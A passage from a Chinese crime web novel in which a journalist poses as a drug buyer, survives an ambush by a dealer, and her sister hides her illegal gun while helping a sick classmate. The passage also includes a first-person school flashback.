就在那时,她用余光往高远家那栋楼那里瞥的时候,正看见一个人扶着墙在走,身体摇摇晃晃的,很难受的样子。上期在毒祸泛滥地区的经验告诉她,那是一个吸毒人员,毋庸置疑。 林康安慢慢地,一点一点地往那里前进,直到走到他身边,看清了,这个人一直在抽鼻子,风一吹,眼泪就往下流,绝对是毒瘾犯了。 “要粉吗?”她左右看了看,见没人,才朝他靠过去,压低声音说。 那个人有些惊讶地看向她,说话有些颤:“你,你有?” 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那个人说话,哆哆嗦嗦报了一串数字。 林康安握着手里的那张纸,心中隐隐有些激动,或许这一次真的近了。天色已经有些暗了,她那纸笔收回去,和他道别。 那个人看着她离开,又哆嗦了一下,孟抽了几下鼻子,摸出手机打电话:“周哥,我看见她了,你跟我说的我都告诉她了,能不能,能不能给我一点……” 那边说了什么,捧着电话的人立马恨不得感恩戴德地道谢。 林康安回去家的时候,罕见的宋别也在。 她们两人虽然工作不同,但对工作的热爱是相同的,一个是大爱无疆,一个是贪得无厌。 也因此,宋别回澄州之后也鲜少在家里住,大多时候是留在金肯公寓那里,那边离公司更近,说是叫公寓,可那边集团给她的分明是个小洋楼。 宋别在手机上跟人发着信息,她从周寅那里回去之后就添加了刘杨的联系方式,当时确实是存了敷衍的心思,可是他提到了丁茜。 她们也算不上朋友,只能说是有点交集。 高一时她们同座,整个班级的人都比她要大两岁,每个人都需要一些共同点来形成自我的团体,她在那个班级里几乎和别人没有任何共同点,于是很自然地被排除在外。 没有人刻意排挤,只是谁都不愿意接纳。 自然的,宋别也懒得去接纳他人。 但人总归是群居动物,独来独往久了,难免会有一两个尴尬的瞬间。忘记是哪一天,她从水房回来的路上,不知道怎么了一直有人在看,而是几乎是毫不避讳地打量,还伴随着一些窃窃私语。 直到走回教室,被丁茜提醒才知道原由。 她来月经了。那年她十三岁,那是她的初潮。尽管在这之前已经上过不少生理课,可她没办法凭空变出来需要用的卫生巾,而且对于这种事,也难免有些慌乱。 是丁茜把校服借给她围住,带她去的厕所,给她科普了很多关于女生月经的事,最后像是怕她尴尬一样,摸着她的头告诉她说,我们小天才长大了。 宋别想起那个燥热的夏天,走廊上在看见她之后就戛然而止的欢声笑语,还有游荡在耳边的一些污言秽语,她不记得具体说了什么,只晓得当时大约羞愤难当。 是丁茜给她解了围。 两人后来也再没什么交集了,高二分班以后她进了火箭班,丁茜则被分在普通班,也鲜少见面,一直到现在。 宋别也不是全然没心没肺的人,听见她得尿毒症的消息,也不禁有些恍然。于是她加上了刘杨的联系方式,想从中获取一点她的消息,也是想帮点忙。 她发过去的消息显示已读,很快就是刘杨的回复:“具体的我也不清楚,你也知道,这几年我也没在澄州发展。过两天的同学聚会是两个班一起的,隔壁班有个人和她是邻居,可能知道点,你想问的话就过来吧。” 宋别思索了一下,管他要了时间和地址。 抬起头,就看见林康安满头大汗地从外面回来。她轻笑一声,问她:“今天有什么收获吗,林大记者。” 林康安一路上的心都在狂跳,回到家脸上的表情都还在紧绷着,听到宋别的声音,脸色才有稍稍的松动。 “没事,没什么事。” “林康安,有没有人跟你说过,你挺不会撒谎的。”宋别站起身朝她走去,她穿了一条居家丝绸裙子,绸缎很贴合身体,把她姣好的曲线映衬地更加妩媚,尤其是,她拿着手机点在林康安的肩头的那瞬。“姐姐啊,你小时候零花钱藏哪里我都知道,你骗得了咱爸都不一定能骗得了我。” 林康安用手擦了一把额头上的汗,看向宋别,那眼神近乎于凝视:“有线索了,高远死了,那些毒虫没有地方拿货,于是换了一个人。钟先生,我打算去看看。” “跟爸说了吗?” “不确定的事,他们警察也没有办法,我不想打草惊蛇。” 宋别伸出手,抚摸上她的脸颊,在上面轻轻拍了拍:“林康安,你让我说你什么好,那些毒贩都是什么人,你哪来的胆子就这么单枪匹马地闯进去?” 林康安没说话,绕过她走到茶几旁,给自己倒了一杯水仰头喝下去。宋别知道,这姐姐又是想好不打算改了,她下定决心的事,就要一条道走到黑,不撞南墙不回头。 她没办法了,转身去车库里拿了什么回来,林康安看见她手里那两支黑漆漆的东西,瞳孔猛然一缩,“宋别,这是什么!” “你不是都看到了吗,枪。”宋别把两把手枪放在茶几上,她曾有一段时间疯狂迷恋射击,在美国的房子里甚至有单独的一间房,用来放她的藏品。 “勃朗宁,点三八。”宋别给她介绍,两支手枪,一支银色一支黑色,银色的勃朗宁那只非常漂亮,相比之下,黑色的左轮就有些黯然失色了。 林康安反而对所谓的“点三八”更熟悉,她在美洲曾多次暗访过贫民窟,那里的毒贩们很常用的就是这种枪,史密斯威森M10,因为其零点三八的口径而被成为点三八,但那里的人都习惯叫他“大八”。 “你带一支过去,林康安,这不是闹着玩儿的,你现在正在休假,没有批准私自行动,没人会对你的安全负责。”宋别说道,在桌上扣下一盒子弹,熟练地给枪上膛,“会用吗?” “会一点。”她拿起那支点三八,很讽刺,这还是那些毒贩展示给她如何使用的。林康安在手里掂量了一下这支枪的重量,抬起头看向宋别:“小别,你知道你现在站在中国的土地上。” “当然。” 监狱吗,她不是没进去过的。这样次数和经历多了,就会消磨掉心底最后那一点敬畏之心,无论是在资本主义,还是社会主义。 * 林康安换了一张电话卡,拨通了那串号码。电话响了一阵才终于接通,那边的声音很沉很沉,问她:“你是?” “是老三儿介绍我来的,来买西瓜的。” 对面问:“加冰吗?” 林康安暗暗吸了一口气,握紧手机,有些紧张:“加冰,要两条。” 是了,就是拿货的人。在他们这些行话里,西瓜是海/洛/因,冰块就是冰/毒。 “好,面交,不埋地雷。” “成!” 林康安大喜过望,她就怕对方不来面交,把东西埋到别的地方再告诉她。两人很快约好了时间和地点,就在第二天晚上。 那个“钟先生”约的地方在一栋澄州河东区,那边已经全是拆迁房了,搬得搬走得走,几乎没人留在那里,是最好的交易点。林康安做记者做得时间长了,走南闯北什么手艺都学了点皮毛,现在也算用得上。 比如那一招“袖里藏金”。 钱不见天,在暗处就把生意办了。那地方放了路障,车开不进去,林康安把宋别给她的点三八揣好,别在腰带里卡牢,拿小手电照着往前走。 沥青路也已经被压的四分五裂,她身形晃了好几下,才终于找到那个钟先生说得地方,三排五列,被喷上“自由无价”四个字的那栋楼,这栋楼在几排的中间,也在几列的中间,很隐蔽的地方。 这里已经很少有人打理了,往前走,可以闻见一股垃圾堆积的恶臭味,晚上的澄州露水有些重,风一吹,带着些萧索的冷意。她裹了裹外套,是件皮夹克,也是黑色。 三楼。 林康安踢开那些塑料瓶和垃圾,拾阶而上,到门前扣了三下,隔两秒,再扣两下。外面不知道什么鸟在叫,呕哑嘲哳的特别难听,很像是乌鸦的叫声,给她一种撕心裂肺的感觉。 “吱——呀——” 门从里面打开,没有光,也不见人。眼前的一切都是黑漆漆的,只有厨房的窗户被吹得来回摇摆,光时而胖时而瘦,她的心中莫名涌起阵阵寒意。 她试着往前走,叫钟先生三个字,始终都没什么回应。 这不对劲。林康安下意识握紧了腰间的那支枪,点三八没有保险,只要轻轻扣下击锤,子弹就会从枪膛射出。 整栋大楼旁连狗吠都没有,静得好像只有她一个人的脚步声,这不对。几乎是一秒就决定了,现在必须离开。这种不详的感觉仿佛是来自命运的暗示,告诉她,不要再往前走了。 林康安不再往前进一步,握紧腰间的枪,转身往外走。 这种老楼的设计并不是一梯一户一梯两户,而是一梯多户,外面一道长走廊,锈迹斑斑的栏杆上还晾着谁搬家时忘记收的衣服毛巾,风吹雨打摇摇晃晃,夜里显得尤其渗人——就在她转身的那一刻,一只大手——好像从地狱里探出的魔爪——握住了她的后颈。 “不是来买货吗,这么急。”周寅刻意把声音往下压着,这是他的习惯,声音不一样,好像杀人的就是另一个人了,尽管微乎其微,但在某种程度上,还是减轻了负罪感。 他继续说:“你走不了。” 11. 第 11 章 1. 澄州的冬天好像总是过得很快,起码在学校的日子是这样的。元旦晚会过后就是紧巴巴的期末考试,尽管分班的时候说是平行班,但一班二班的成绩还是要比其他班高上不少,于是都默认是火箭班。 有了这个称号,我们自已也大约油然而生一股使命感,个个都开始垂下头认真复习。 那几天的雪越来越大了,我看书看的眼睛酸的时候,也会抬起头往窗外看一眼。我们学校当年建成的时候就耗费大量资金,如今又历经几次修葺,红瓦白墙,特别好看。白雪把红瓦也全给覆盖住,悠悠往下飘,像是秋天的落叶,也像是春天的花。 我想着,要不了多久,我爸就要回来了,他去外面谈生意,尽管我不晓得具体是做什么的,但听他的秘书和司机告诉过我,他很有钱很有钱。 大雪几天不断,连我们老师都开始感叹,说来年肯定会是个丰年。我从外面收回目光,重新把眼神落在手中的书上,那是一本西班牙语讲义。 在小时候我爸就认识到走向国际的重要性,所以也重点培养我的英文能力,到现在,已经到了能够出国交流的水平,按照他的设想,毕业以后我也是要出国的。 英语对我而言已经不具难度,于是就开始开发我的第三语言,不知道为什么,我对西班牙语情有独钟,高中的两年,在自学的情况下,我对它也已经运用纯熟。 说西班牙语的国家并不算太多,我也并不太想去弗朗哥政权下的西班牙帝国,反而更向往另一个国家。 墨西哥。 我说不清到底是为什么,即使我并不了解这个国家,对这个国家的历史,文化,亦或是他们的民族和血脉都一无所知,却依然荡漾着一种兴趣。或许是因为它背靠美国这个所谓“伟大的国家”,也或许是因为那片土地上的牛仔符号,让我开始默默神往。 这种兴趣并不浓厚,只是在见到或听到和它的相关时,心脏会快速地跳动一下。以至于当我面对再重大一些的事件,它就会被我毫不犹豫地抛诸脑后。譬如某某比赛又拿了一等奖,譬如全国各地的厂子都开始了一股下岗潮,譬如某一天的夜里,我要告别我的过往生活。 再次拾起这股心脏的律动是在很多年以后,那时候命运把我推向年少神往的那片土地,我才豁然想起,原来我与十年前的这个谢琅,竟然是一个人。 或者说,我们共用着一副躯体。 不过那都是后话了。 冬天教室里的暖气让我有些困倦,自习课上没有老师,但也没人在说话,每个人都在专心做着自己的事,等到下课铃响起,他们才会像终于拥有了自己灵魂的自由人一样,开始享受片刻难得的欢愉。 我真的挺困的,把帽子往头上一罩,正打算睡觉时,就听见有人叫我,说是有人找,也没说是谁。我当时并没多想,走到外面才发现,是前不久在自行车棚那里带人堵我那虎丫头。 她还是穿着白色的棉服,头发垂到肩膀——我们学校有规定,长头发的女生都要把头发扎起来,可她没有。 这位女同学抬头看着我,手里递过来一张纸条,我以为是什么东西,吓了一跳,如临大敌一样往后退一步没敢去接,我怕会是什么情书之类,真是情书也就罢了。我怕我不从她又要带人来堵我的路。 果然,这位女同学脸上的温柔和楚楚可怜没有维持多长时间,立马就变成了凶神恶煞的模样,拽过来我的手,把东西强硬地塞到我手里,我往下瞥了一眼,不是情书,是她的成绩单,上面陈列着一排数字,我记不清具体是多少了,大概在我眼里依旧是那么的不尽人意。可看她一脸的倔强神色,似乎是下了很大的努力才得到这个结果。 我无话可说,对于眼前的这个女同学,她的努力,她的感情,一切都与我无关,我没有义务为她负责,我只想摆脱她的纠缠。 只是她什么都没说,也没给我说任何话的时间,被走廊上的冷风一吹,抽了抽鼻子,一转身就走了。我摊开手里被捏皱的那团纸,有雪飘落在上面,学校的印刷油墨实在太过低廉,雪水化开在上面,染成一团黑色。 走廊上和班级里也有不少看热闹的同学,我不否认我很享受也很喜欢别人的注视,但绝不应该是这样的,这样的打量和戏谑,仿佛我是他们的同类。 于是我没什么犹豫,掸了掸手上被染污的印记,将那团纸扔进了我们班级的垃圾桶,无论是走廊上的,还是班级里的人全都看得一清二楚,他们似乎有些震惊我的举动,神色有些讶异,又怕被我注意到一样匆忙转回头,开始手忙脚乱关心自己的事。 我回到自己的座位,重新把自己的头埋进帽子里,却已经没了什么困意。我睁着双眼,胳膊下面压着那一本西班牙语讲义,眼前一片黑暗,暖风呜呜地吹,我的身体却涌动起一丛又一丛的寒意。不知道为什么,我又想起那个穿着和雪一样颜色棉服的女同学,抽着鼻子,好像欲哭无泪一样,脸庞被风吹得有些泛红。 从那次的难眠开始,我或许就已经意识到我身体里拥有的,恶劣的那一角。在她执着清明的眼神之下,映照得它无所遁形。 我一直害怕自己成为流俗辈,尽全力和这些庸常切割,和这些庸人割席。只是那时我尚年少,不仅平庸,而且无知。 2. 周寅继续说:“你走不了。” 他手上的力气慢慢加大,收紧,林康安很轻易就意识到两人力气的悬殊,她绝对挣脱不了。如果身后的男人掐的不是她的后颈,而是正面扼住她的喉咙的话,她相信她要不了多久就会死在这里。 死亡仿佛就在前方逼视着她,等她迈进去,把她拖进无底的深渊。幸好,这种情况也并非第一次出现。林康安努力忽视脖子几乎要被掐断的痛感,在他将她摔到地上之前,扣紧了腰间的那把左轮,她看不清方向,只能随便往后扣下扳机。 这道枪声令谁都没想到,擦着周寅过去,射在他身后的那堵墙上。在静谧的夜里足以称得上是巨响,好像把萧索的风声都被分割出稠密的那一截。 周寅的手猛然一松。 她的手还有些颤抖,左轮是没什么后坐力的,无外就是紧张。林康安逼着自己握紧枪,趁他松手的片刻,朝楼梯尽头跑去,耳边一道刺破耳膜的声音传来,也是枪声,伴随着的是手臂上锐利的疼。火烧火燎一样,林康安已经感受到自己皮肉外翻,鲜血横流。 她不能停,一旦停下来,就真的走不了了。 又是几道枪声,就在她耳边划过,仿佛要直取她的心脏。她也不敢回头看,尽管手里有枪,也只能是防身,她不能拿命去赌。等跑到尽头,几乎没有任何犹豫地,开始翻越栏杆。把自己的身体往下一荡跳到二楼,双脚被震了一下,她顾不得疼,紧接着跳到一楼,钻进一排排的拆迁房里,身影很快没入黑夜。 血还在流,她的眼前也有些发昏,林康安听说有些匪徒是可以靠血腥味儿找到人的,可现在要是往前跑绝对得不偿失,反而会暴露自己。 她很快做出了决断,如果被那个人找到,她就先开枪! 拆迁房外面的风一刻也不停,好像更大了,栏杆上早已被风干的衣服毛巾还在晃荡,如同两缕无处安家的孤魂野鬼。她不敢想,或许今天,自己也要命丧当场。 在来之前她就已经编辑好了短信发给林钊,如果九点半之前她没有回电,就说明遭遇不害。现在几点了?她不敢看。她甚至不知道自己能不能撑到那个时候。 周身的血腥味好像越来越浓厚了。 她的左手捂住右臂的伤痕,只是刚一碰到,就立马感到一阵灼烧的痛感,周身没有可以用来处理的东西,连声音她都不敢发出来。 林康安现在也觉得可笑,谁什么样的信念让她可以跟一个毒贩谈价钱,做生意,如果不是宋别给她的这支枪,她不会有从他手下逃出来的机会。 是了,这个人在要她的命。 林康安意识到什么,心脏的跳动好像越来越激烈,为什么要杀她,是怕她知道什么。高远的死极有可能不是意外! 她努力压抑着胸腔的激动,这里的建筑早已经年久失修,门呗吹得吱呀作响,黑夜让他看不清她,同时也让她寻觅不到他的踪迹,很可能,他就在某一扇门的后面,准备着伺机咬断她的脖颈。 粘稠的血顺着胳膊从指缝中渗出,没有滴答滴答的声音,那是顺流而下的,从手臂流到地面,还隐隐残存一些温度。 林康安也很快感觉到自己的意识开始有些不清醒,如果真的昏倒在这里,那么那个男人找到她只是时间早晚的事,她同样活不下去。待在这里不是办法。 她捂着受伤的胳膊慢慢站起身,警惕脚下任何可能发出声响的垃圾或者杂物,慢慢朝床边靠拢,要走到自己的摩托车前,势必要穿行那条大道,在这些居民房里或许还可以藏身,可一旦进入到大道上就说不准了。 但是现在,她的身体状况让她不得不冒一次险,就算那个男人跟上来,最坏的结果,她手里还有枪。 林康安咬了咬牙,做出决断后狠掐了一把自己大腿上的嫩肉,让自己保持最后的清醒。而后就开始趁着夜色向前缓缓移动,穿过一排排鸽笼一样的房子——这里的建筑颇有二十世纪六七十年代流行的风格,每栋楼之间距离很小,排列紧密,主干道却很宽阔——在黑丛丛的夜里,她猫着身躯穿行过小道,没有灯,只有月光和她一双眼。 这让她想起大洋彼岸的那片雨林,在索利蒙伊斯河下游,她紧跟在联邦公路警察的背后,屏息凝神,等待毒贩从那里经过。只不过,此次她成了被蹲守的猎物。 这段路程并不很长,可当她走到尽头时,早已大汗淋漓。她无法预料,或许就在下一刻,一只手就会桎梏住她,把她拖进地狱,也或许是一颗子弹,穿透她的胸膛。林康安无需再伪装了,也没有任何东西可以为她提供庇护遮掩,她猛吸一口气,朝着大道跑去,一直往前跑,一直往前跑,不能回头。 夜越来越沉,黑压压的云移过去,把最后一丝亮光都遮住。 周寅看着大道上奔跑的女人,注视了两秒,就平静地收回了目光。他手里攥着一个东西,一头尖,一头钝,是她刚刚打出的弹壳,这种型号的子弹他只见过一次,从一个女人手里,填到他的掌心。 今夜来此的女人是不是宋别并不重要,重要的是,这里是中国,非法持枪的刑量绝不会轻。她想要吐出别的信息,就得先解释这个弹壳的来历。 周寅吐出一口气,将弹壳浸染了她的鲜血,放在应在的地方,一如既往收拾干净自己的痕迹,转身拂袖离去。 这是唯一一次,惊心动魄的一晚,却没有人死亡。 过了今晚,他以为,自己再也不会和那个叫宋别的女人扯上什么关系。 * 林康安回去的时候,没敢回林钊和宣霖那里,转而敲响了宋别在金肯的房门。 宋别打开门,就看见了满手鲜血的林康安。她吓了一跳,赶紧把她扶进房间,脱了那件黑夹克一看,那片被子弹擦过的皮肉都已经外翻,血肉模糊,无比狰狞。 “你还真是不怕死。”她转身去拿急救箱给她处理伤口,已经不流血了,上面的鲜血干涸在手臂上,血色暗沉,黑红一片。宋别毕竟不是专业的医生,给她浅浅包扎过后立马开车载她去医院。 伤口不深,但还是需要缝针,宋别坐在她身边陪着,想抽烟,还是忍住了。 “说说吧,怎么回事?” 林康安胳膊上已经打了麻药,但看着手术针在自己皮肉里穿行还是有些渗人,干脆撇过眼去看宋别:“没见到人长什么样,我一去到那里他就要杀我。高远的死,很可能不是意外。” “而且,你也看到了,他手里有枪。” 在一边缝针的医生听见她们的对话,忍不住有些震惊地看了两个女人一眼。 宋别没理,锁着眉思索:“你回国这些天,只联系了高远一个人吗,会不会是别的?” “不会,只有高远一个。”林康安把头埋在自己的另一只臂膀里,想起今晚发生的事还是难以平静,这次真的是差一点就小命不保了。“我的衣服扣子上有微型摄像头,不过太黑了,估计没拍到什么有用的信息。” “他说话了吗?” “说了。” 宋别点点头,能录上音也是好的。 “下次别这么单枪匹马闯进去了,真的死无全尸,可就只剩我一个人给咱爸妈养老。”宋别握住她的手腕,余光瞥见医生用来止血的纱布,血痕遍布,伤口狰狞,她还是不明白,是什么让林康安如此执着的?以前她不问,是她懒得去关心,可是现在她忽然想知道了。 “林康安,你真的不怕死吗?” 林康安从自己臂弯里抬起头,看向宋别那双黑漆漆的眼眸,她的瞳色很黑,看久了,心里就会生出惧意。林康安扯着嘴角笑了笑:“没人不怕死,谁都怕,只是我太相信自己是世界的主角,主角没有了,故事可不就烂尾了?” 宋别抿了抿唇角,没有说话。她理解不了这样的英雄主义,在陈斯年给她的教导里,向来都是人为财死,鸟为食亡。 这一夜很快过去,这事也给了林记者一个实打实的教训,单独行动绝对不可行,她面对的人是那些穷凶极恶的毒贩,一不小心可真的是会丧命。 林康安带着裹着纱布的胳膊回到宋别家的时候,借着她的电脑把微型摄像机上的视频导上去,如她所想,那里一片漆黑,没有任何光影,根本看不见那个钟先生的人影。 唯一录到的声音就是那人从背后掐住她脖子时的两句话。 ——不是来买货的吗?这么急。 ——你走不了。 拆迁房的门窗都大开着,穿堂风像把锋利的刀,把他的声线割断成几节。 宋别开门进来给她送蜂蜜水,恰巧听见了这一段录音,两句人声过后就是枪声,然后是一阵响动,接着就是她奔逃的响动。 “林康安,你把视频倒回去,让我再听一遍。” 她走到她身前,看着电脑上黑乎乎的一团,几乎任何有用的信息都没能捕捉到。 林康安不明所以,但依旧照做,鼠标在电脑屏幕上滑动,而后那道声音再次响起,你走不了。宋别的牙齿轻轻磨着舌尖,看见她的脖子,上面的一圈淤痕已经变得明显,暗紫色,足见那个人的力气究竟有多大。 “怎么了?” “没事,觉得这声音有点熟悉。”她把蜂蜜水放在桌子上,问她:“他有枪,开枪了?” “是,除了第一枪,后面三枪都是他开的,多亏了晚上看不清,否则我不一定能逃的出去。”林康安沉思片刻,又道:“很有可能也是左轮。” 宋别点点头,点燃一根烟放进嘴里,第一枪是林康安开的,如果牵扯到警察的话,她在中国非法持枪的事就瞒不住,得去找个替罪羊了,只是时间上恐怕有点来不及。 “这事跟爸说了吗?” “还没。” “那就捂好嘴,别说了。”宋别吐出一口烟雾,掸了掸烟灰道:“我的子弹是定制的,一查就会查到我,林康安,我给你枪是让你防身,不是为了让你把我给送进去。” 林康安皱眉点头,一时间也无言以对。确实,如果要开口,势必会牵扯宋别非法持枪的事,她承宋别的情,不能反咬一口。可是如果不这样的话,就让他逍遥法外了吗? 宋别像是看出她的想法,伸手拍了拍她的肩膀,说道:“你以为你说了就有用?高远的死警察不是没掉查过,牵扯到毒品,他们不会掉以轻心,就算是这样,找到你说的那个凶手了吗。你说的那个拆迁房不是没有别人,流浪汉,精神病,都喜欢往那里跑,人员结构这么复杂,只能告诉你,希望不大。” 她想要说什么,可宋别没给她说话的机会,继续道:“林康安,我答应你,等你找到关键证据,我就认罪,把我就地正法咯。” 林康安叹了一口气,这是她最大的让步。她不得不承认,她这个好妹妹宋别从美国回来之后,更成熟了,更擅长拿捏人心。 * 花洒上的水浇下来,有些凉,顺着周寅的发丝滑落,让他灼热的血液开始偃旗息鼓。他放松地喘出一口浊气,开始扭动调节器,把水调热了一些,身上的肌肉也被浇的微红。 最后洗去沐浴液的浮沫,擦净身上的水渍,随手撤了件衣服换上。 手机在这时响了起来。 周寅走过去拿起来,上面显示着孟良的名字。他一般不在这个时的打电话,这个时候,他不是在酒里泡着就是在赌场玩,没心思跟他促膝长谈。周寅心里隐隐荡起一丝不安,这种不安在按下接听键的时候彻底得到了证实。 “周寅,走水了!” “怎么回事?” 孟良的声音里是掩饰不住的焦灼:“这一批的‘骡子’里,有个人出事了。他是第一次做这事,在机场时被工作人员递了杯水喝下去,白粉在胃里破开,当场就倒了下去。” 周寅攥着手机的手暗暗发紧,指尖被捏得泛白,喉头发涩,良久才开口:“现在到什么地步了?” “尸体已经带走,我第一时间就给你打电话了,估计要不了多久警察就会发现。机场这一段时间虽然不至于封锁,但绝对会戒严,已经到的我让老张取出来留下把人送走,剩下的那些只能先慎着。”孟良道:“这样一来,澄州的货就补不上了,沈缚马上就要过来,如果被他发现,咱们俩还有老张可够喝一壶的。” 周寅另一只手的食指磨着虎口处,屋漏偏逢连夜雨,林康安没死成,“骡子”那边反倒又出事了,不止如此,沈缚马上还要来澄州。他和孟良现在的处境,用岌岌可危来形容也不过分。 “货的事我来想办法,沈缚那边你瞒住。那个死的骡子叫什么,家里还有什么人吗,警察发现毒品之后会立马找到他家,我先去探探口风。” 孟良像是在翻动什么东西,良久才说道:“死的人叫丁天德,以前在街口修自行车的,家里就一个得尿毒症的闺女,要不是为了他姑娘,也不会干这个,我把他家地址给你。” “好。” 挂断电话,周寅整个人躺倒到床上,洗过澡,该是很放松的时候,他却觉得有什么重担往下压着,压得他喘不过气。 烟雾缭绕在他的眼前,前方一片迷蒙,什么看不清。他伸手挥散了眼前吐出的烟,手掌在虚空中抓了两下,好像看见了满手的鲜血。这血也是黑色的,没有腥味儿,而是香味,是吗啡的味道。 * 宋别他们的同学聚会定在和平饭店里,周末的时间,大家也都有空。高中时代的那些同学她都已经忘得差不多,名字对不上脸,脸也对不上名字,只记得前不久见过的刘杨。 到饭店时,刘杨还特意下来接了她。 “我跟他们说你回来了,本来不打算来的几个也来了,我们宋学霸的面子还真不小呢。” 刘杨的话不像是客套,宋别只礼貌笑笑,握着自己手里的包没有说话。以前她在班里还真说不上有面子,不止如此,还不怎么受欢迎。她一个人独来独往惯了,连朋友都没两个,还真想不明白是哪来的面子。 推开包间的门,里面已经来了不少人,各样的打扮,各样的面孔,看得她有些眼花缭乱。不止如此,还有些不适。但她还依旧维持着最基本的笑,说道:“不好意思,路上有点堵车,来晚了。” “大学霸变化这么大,当年那个小姑娘如今都成了大美人了,去了美国就是不一样啊。”不知道是哪个同学站起来说道:“不过既然来晚了,该罚还得罚是不是?” “开车来的,喝不了,各位见谅。”宋别把包放下,往下捋顺裙子坐在席位上,又补了一句:“这样吧,以茶代酒行不行。” 她说着,兀自给自己倒了一杯茶,仰头饮下。 “宋别,这么多年都没你消息,现在在哪儿高就呢?”一个戴眼镜的男同学上下打量了她一番,啧啧两声:“现在还真不是我们这些凡人能比得了的了,这款包我前几天跟着老板出差的时候见过,刚上市的,二三十万吧?” “做点小生意,讨口饭吃。”宋别轻声道,说完就闭了嘴,也没有要回答他第二个问题的意思。 那人有些讪讪的,很快就有女同学出来打圆场,问她:“别说这个了,宋别,你在美国这么多年,谈没谈过外国男朋友?你这么漂亮,肯定很招人喜欢,感觉怎么样,是不是像说的那样,特别那个啊。” 宋别晓得她们说的是什么意思,在美国的那些年,她也不是没和白男有过,不知道是不是不得要领,感觉并不大。但此时在饭桌上谈论这种话题,她和他们还没有到拿自己的床事做谈资的关系。 “净顾着赚钱,哪来那么多时间啊。”她笑一声,又给自己倒了杯茶,说道:“工作之外倒是还有点时间,不过都用来坐牢了。” 她用开玩笑的口吻说出这些话,上一茬很快就被揭了过去,但其实宋别也没骗他们,她确实是美国看守所的常客。想在华尔街的金融市场立得住脚,谁没有剑走偏锋的时候,她也只是,稍微多了一点而已。 这顿饭拿她开了场,之后大部分时间就开始回忆起学生时代的青葱岁月,讲当年谁和谁在纸上下五子棋被老师逮到,谁在上课是偷吃校外的煎饼果子分了一个小组的人,再者,就是谁当年偷偷喜欢过谁,借着酒劲一并都说出来了。 这些年少糗事都和宋别无关,她也无意参与。偶尔附和两句,等到半场时就低声拜托刘杨去叫一下隔壁班丁茜的邻居。 他们就在隔壁房间,刚才也有不少人过来敬酒,两个班以前就都是尖子班,几乎都认识,这次也就理所当然约在了一起。 宋别和刘杨一起出去,看他从隔壁房带出来一个男人,伸手同他握了握手:“您是丁茜家邻居?” “嗯是。” “我想问一下她家的地址。” 那个人很痛快的告诉了她,连同丁茜的联系方式,最后说:“丁茜挺可怜的,得这个病的时候连工作都丢了,家里就靠她爸一个人。” 宋别点点头,没有多置喙什么,拿到写着丁茜地址和联系方式的纸条就打算离开。刘杨叫住她:“就这么走了?” 她把包背好:“还忙,我来买单吧。” 说完这句,宋别浅笑一下,直接抬脚离开了。 刘杨在原地看着她的背影,忽然有种触不可及的无力感,无论是在年少时还是现在,有些人注定了就不是凡人,他们或许在凡间停留过,那时候,还会让人恍惚以为,努力可能真的有用。 但现在,算了吧。 他忍不住想起了另一个人,那个人也和宋别一样,是毋庸置疑的天才,只是如今,大约销声匿迹了。 宋别下去开了车,扫了一眼上面的地址,就在槐南路那边,那边以前就是穷人窝,现在看起来估计也没变。 那边的小区都挺老的,有一种十年前的风味,小区外不是遛狗的大妈就是遛鸟的大爷,窗户上用来防盗的铁窗早已经锈迹斑斑,里面的房子也不那么规则,如果用无人机飞上去看的话,每栋楼就像是几只随意摆放的长方体,也是因为这一点,里面的路显得各外错综复杂。 宋别找了很久,最后把车停下来,拿着地址去问 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宋别伸手挥了挥眼前的光尘,被丁茜带着做到一个木头椅子上坐下,“你等一下,我去给你倒杯水。” “不用。”她拦住她,指了指对面的沙发,“坐。” 她的气场太过强大,丁茜也是坐下来之后才反应过来,好像自己才是主人。 “介意抽烟吗?” “不介意。” 宋别抬手点了一根烟抽,抿抿唇,尽量让自己显得和善一点:“怎么就得了这个病,多长时间了?” 丁茜的笑容也有些无力和苍白:“快一年多了吧,我记得去医院那天天气很好,没现在这么热。我平常作息都挺规律的,就三不五时地加个班,也没想到,这个病怎么会找上我。” “需要多少钱?” “没个准数,这病需要换肾,一直没有合适的配型,每天检查、透析,都快把这个家拖垮了。”看得出丁茜也在努力平和,然而说出的话还是抵不住残忍:“一开始查出来的时候我男朋友就跟我分手了,公司也把我给辞了。就剩我爸一个人,有时候,我也真不想拖累他了……” “别这么想,好好活着比什么都强。”宋别吐出一口烟,平平静静地劝说,手里那根烟没抽完就被她捻灭了,把玻璃茶几烫出一道浅焦的黄痕。随后,她把包从自己肩膀上取下来,从里面拿出两摞现金放在桌子上,继续说:“出门就带这么多,你先用着。” 丁茜看着那两摞实打实的真金白银,又看看宋别,一时惊讶地说不出话。她怎么也想不到,这个一点印象都没有的所谓“高中同学”会对她出手这么阔绰。 她们几乎已经说的上是素不相识了。 “你…为什么?”丁茜的嘴张合半晌,终于结结巴巴吐出这么一句话。 宋别也不知道该怎么解释滴水之恩当涌泉相报这句话,这说出来实在太矫情,可没办法,她宋别还真就是个品德优良的好青年。 “日行一善。”宋别站起身,从口袋里翻出一张名片出来放到桌子上,伸手摸了摸她的脸,说道:“回头联系我,把你的病例发过来。” 直到宋别从这个满是霉味,没有阳光的小房间里离开,丁茜都没能从这一连串的事里回过神来。就在刚才,一个女人走进来,然后留下很多钱,就这么离开了? 她把目光移向那些钱,这日行一善的代价是不是有点太大了。 那些钱很沉,看着五六万的样子,她被辞退之前的工资是四千五一个月,她爸修车一天最多是两百,而且很少有这种情况。生病之后,她在家里写一些文章,一篇的稿费不过五六百,这些钱换成他们的时间,要很长很长。 丁茜的心中并没有多少的喜悦,有种莫名的情绪像薄雾一样笼罩在心口,让她欲言又止。 脚步声很快消失在这个贫穷的阶梯,她走到那个只能开半扇的窗边看了一眼外面,只能看见宋别的背影,她走得很快,还用手挥散了一下这里贫穷的味道。 宋别到外面又点了一根烟,高跟鞋在这条路上走实在太费脚,她只想赶快回到车上蹬掉脚上这双鞋。 对于丁茜,她还真说不上有太多的情感,就是不愿意欠人人情,还了就好,到最后是死是活都跟她关系不大。 陈斯年以前说真不知道中国的土地上是怎么长出来她这样的人的,她应该在美国,美国才是适合她生长的土壤。 尽管她不愿意,可还不得不承认,陈斯年说得不无道理。 宋别上了车,立马把脚上的鞋甩到一边,把座椅后移,调低,双脚翘到中控台上。等这一根烟燃尽,才开始启动车子离开。 后视镜里,一辆桑塔纳缓缓入镜。 车里的人看着那辆银刺慢慢驶离,手指夹出嘴里的烟,捻灭,扔进一边的垃圾桶。宋别,他亲眼看着她进到丁天德家里又出来。 